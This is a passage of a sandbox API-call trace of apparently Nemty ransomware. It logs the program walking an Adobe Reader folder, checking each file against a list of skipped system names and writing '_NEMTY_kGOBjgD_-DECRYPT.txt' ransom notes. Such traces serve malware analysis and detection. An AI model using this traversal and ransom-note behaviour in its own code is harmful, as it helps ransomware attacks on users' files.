(lpString1="icudt40_full.dll", lpString2="desktop.ini") returned 1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="CONFIG.SYS") returned 1 [0171.140] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="RECYCLER") returned -1 [0171.140] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="BOOTSECT.BAK") returned 1 [0171.140] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="bootmgr") returned 1 [0171.140] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="programdata") returned -1 [0171.140] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="appdata") returned 1 [0171.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0171.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40_full.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0171.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40_full.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icudt40_full.dll", lpUsedDefaultChar=0x0) returned 16 [0171.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0171.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40_full.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0171.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40_full.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icudt40_full.dll", lpUsedDefaultChar=0x0) returned 16 [0171.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0171.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0171.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0171.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40_full.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0171.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40_full.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icudt40_full.dll", lpUsedDefaultChar=0x0) returned 16 [0171.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0171.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0171.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40_full.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0171.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40_full.dll", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icudt40_full.dll", lpUsedDefaultChar=0x0) returned 16 [0171.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0171.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0171.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.140] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1131a8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="icuuc40.dll", cAlternateFileName="")) returned 1 [0171.140] lstrcmpiW (lpString1="icuuc40.dll", lpString2=".") returned 1 [0171.140] lstrcmpiW (lpString1="icuuc40.dll", lpString2="..") returned 1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="...") returned 1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="windows") returned -1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="$RECYCLE.BIN") returned 1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="rsa") returned -1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="NTDETECT.COM") returned -1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="ntldr") returned -1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="MSDOS.SYS") returned -1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="IO.SYS") returned -1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="boot.ini") returned 1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="boot.ini") returned 1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="AUTOEXEC.BAT") returned 1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="ntuser.dat") returned -1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="desktop.ini") returned 1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="CONFIG.SYS") returned 1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="RECYCLER") returned -1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="BOOTSECT.BAK") returned 1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="bootmgr") returned 1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="programdata") returned -1 [0171.141] lstrcmpiW (lpString1="icuuc40.dll", lpString2="appdata") returned 1 [0171.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icuuc40.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icuuc40.dll", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icuuc40.dll", lpUsedDefaultChar=0x0) returned 11 [0171.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icuuc40.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icuuc40.dll", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icuuc40.dll", lpUsedDefaultChar=0x0) returned 11 [0171.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icuuc40.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icuuc40.dll", cchWideChar=11, lpMultiByteStr=0x653ef60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icuuc40.dll", lpUsedDefaultChar=0x0) returned 11 [0171.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icuuc40.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icuuc40.dll", cchWideChar=11, lpMultiByteStr=0x653ef98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icuuc40.dll", lpUsedDefaultChar=0x0) returned 11 [0171.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0171.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.142] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="IDTemplates", cAlternateFileName="IDTEMP~1")) returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2=".") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="..") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="...") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="windows") returned -1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="$RECYCLE.BIN") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="rsa") returned -1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="NTDETECT.COM") returned -1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="ntldr") returned -1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="MSDOS.SYS") returned -1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="IO.SYS") returned -1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="boot.ini") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="boot.ini") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="AUTOEXEC.BAT") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="ntuser.dat") returned -1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="desktop.ini") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="CONFIG.SYS") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="RECYCLER") returned -1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="BOOTSECT.BAK") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="bootmgr") returned 1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="programdata") returned -1 [0171.142] lstrcmpiW (lpString1="IDTemplates", lpString2="appdata") returned 1 [0171.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IDTemplates", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IDTemplates", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IDTemplates", lpUsedDefaultChar=0x0) returned 11 [0171.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IDTemplates", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IDTemplates", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IDTemplates", lpUsedDefaultChar=0x0) returned 11 [0171.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0171.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0171.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0171.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0171.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0171.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.143] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0171.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0171.145] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.145] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0171.146] CloseHandle (hObject=0x1ec) returned 1 [0171.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0171.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0171.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0171.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0171.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.147] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0171.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.147] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.147] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.148] CloseHandle (hObject=0x1ec) returned 1 [0171.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0171.148] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19a5f070, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19a5f070, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0171.148] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.148] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19a5f070, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19a5f070, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0171.149] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.149] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.149] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="CAT", cAlternateFileName="")) returned 1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2=".") returned 1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="..") returned 1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="...") returned 1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="windows") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="$RECYCLE.BIN") returned 1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="rsa") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="NTDETECT.COM") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="ntldr") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="MSDOS.SYS") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="IO.SYS") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="boot.ini") returned 1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="boot.ini") returned 1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="AUTOEXEC.BAT") returned 1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="ntuser.dat") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="desktop.ini") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="CONFIG.SYS") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="RECYCLER") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="BOOTSECT.BAK") returned 1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="bootmgr") returned 1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="programdata") returned -1 [0171.149] lstrcmpiW (lpString1="CAT", lpString2="appdata") returned 1 [0171.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAT", lpUsedDefaultChar=0x0) returned 3 [0171.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAT", lpUsedDefaultChar=0x0) returned 3 [0171.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94398 [0171.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340048 [0171.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0171.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340110 [0171.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 